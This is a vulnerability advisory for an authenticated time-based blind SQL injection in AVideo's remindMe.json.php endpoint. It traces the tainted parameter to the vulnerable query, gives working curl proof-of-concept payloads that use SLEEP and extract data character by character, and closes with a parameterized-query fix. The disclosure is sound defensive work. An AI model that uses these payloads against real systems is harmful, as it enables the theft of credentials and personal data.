CVE-2026-33651 — avideo

Summary

The remindMe.json.php endpoint passes $_REQUEST['live_schedule_id'] through multiple functions without sanitization until it reaches Scheduler_commands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Live_schedule(), getUsers_idOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.

Details

The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:

Step 1 — User input (no sanitization): plugin/Live/remindMe.json.php:15:

$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Step 2 — Auth check passes for any user: plugin/Live/Live.php:4126:

if (!User::isLogged()) {
    $obj->msg = __('Must be logged');
    return $obj;
}

Step 3 — intval() applied only internally, original variable unchanged: plugin/Live/Live.php:4141-4143:

$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only
$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same

objects/Object.php:84 (inside getFromDb()):

$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable

With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $live_schedule_id remains 1" AND SLEEP(5) --.

Step 4 — Tainted value flows to type string construction: plugin/Live/Live.php:4152 → Live.php:4193-4194:

$reminders = self::getLiveScheduleReminders($live_schedule_id);

// getLiveScheduleReminders calls:
$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);
// which builds: "LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}"
return Scheduler_commands::getAllActiveOrToRepeat($type);

Step 5 — SQL injection sink: plugin/Scheduler/Objects/Scheduler_commands.php:340-347:

$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status='a' OR status='r') ";
if(!empty($type)){
    $sql .= ' AND `type` LIKE "'.$type.'%" ';  // LINE 343: direct concatenation
}
$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization

PoC

Prerequisites: Any authenticated user session, at least one live_schedule record (ID=1).

Step 1 — Baseline request (should return quickly):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  "http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10"

Expected: response in ~0.1-0.5s

Step 2 — Time-based injection (5 second delay):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND SLEEP(5) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

Expected: response delayed by ~5 seconds, confirming injection.

The resulting SQL becomes:

SELECT * FROM scheduler_commands
WHERE (status='a' OR status='r')
  AND `type` LIKE "LiveScheduleReminder_123_1" AND SLEEP(5) -- %"

Step 3 — Data extraction (example: first character of database user):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

If the response is delayed 5 seconds, the first character of user() is r.

Impact

• Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.
• Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.
• Account takeover: Extracted admin password hashes or session tokens enable full platform compromise.
• Low barrier: Only requires a basic authenticated account — no admin privileges needed.

Recommended Fix

Option 1 — Parameterize the query in Scheduler_commands::getAllActiveOrToRepeat():

plugin/Scheduler/Objects/Scheduler_commands.php:335-347:

public static function getAllActiveOrToRepeat($type='') {
    global $global;
    if (!static::isTableInstalled()) {
        return false;
    }
    $sql = "SELECT * FROM " . static::getTableName() . " WHERE (status=? OR status=?) ";
    $formats = "ss";
    $values = [self::$statusActive, self::$statusRepeat];

    if(!empty($type)){
        $sql .= ' AND `type` LIKE ? ';
        $formats .= "s";
        $values[] = $type . "%";
    }

    $sql .= self::getSqlFromPost();
    $res = sqlDAL::readSql($sql, $formats, $values);
    $fullData = sqlDAL::fetchAllAssoc($res);
    sqlDAL::close($res);
    $rows = array();
    if ($res != false) {
        foreach ($fullData as $row) {
            $rows[] = $row;
        }
    }
    return $rows;
}

Option 2 — Additionally sanitize at the entry point:

plugin/Live/remindMe.json.php:15 (defense in depth):

$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Both fixes should be applied for defense in depth.
